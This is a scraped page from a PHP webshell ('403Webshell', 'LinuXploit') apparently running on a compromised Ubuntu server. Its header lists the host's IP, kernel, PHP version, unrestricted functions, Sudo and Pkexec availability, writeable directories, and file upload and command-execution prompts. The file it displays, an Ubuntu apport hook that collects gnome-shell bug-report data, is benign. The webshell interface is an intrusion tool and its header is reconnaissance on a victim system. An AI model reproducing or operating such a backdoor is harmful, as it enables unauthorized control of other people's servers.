403Webshell
Server IP : 209.205.66.10  /  Your IP : 216.73.216.173
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ammon 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User :  ( 1006)
PHP Version : 8.5.8
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/apport/package-hooks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/apport/package-hooks/source_gnome-shell.py
from apport.hookutils import *
import os

def is_process_running(proc):
    '''
    Determine if process has a registered process id
    '''
    log = command_output(['pidof', proc])
    if not log or log[:5] == "Error" or len(log)<1:
        return False
    return True

def add_info(report):
    attach_related_packages(report, ['mutter-common'])

    attach_gsettings_package(report, 'gnome-shell-common')
    attach_gsettings_package(report, 'gsettings-desktop-schemas')
    attach_gsettings_package(report, 'mutter-common')
    attach_gsettings_schema(report, 'org.gnome.settings-daemon.plugins.color')
    attach_gsettings_schema(report, 'org.gnome.settings-daemon.peripherals.touchscreen')

    try:
        monitors = os.path.join(os.environ['XDG_CONFIG_HOME'], 'monitors.xml')
    except KeyError:
        monitors = os.path.expanduser('~/.config/monitors.xml')

    attach_file_if_exists(report, monitors, 'monitors.xml')

    result = ''

    dm_list = apport.hookutils.command_output(['sh', '-c', 
	'apt-cache search \"display manager\" | cut -d \' \' -f1 | grep -E \"dm$|^gdm3?\\b\"'])

    for line in dm_list.split('\n'):
        if (is_process_running(line)):
            result = line
            break

    report['DisplayManager'] = result

    if command_available('journalctl') and os.path.exists('/run/systemd/system'):
        report['ShellJournal'] = command_output(['journalctl',
                                                 '/usr/bin/gnome-shell',
                                                 '-b', '-o', 'short-monotonic',
                                                 '--lines', '3000'])

Youez - 2016 - github.com/yon3zu
LinuXploit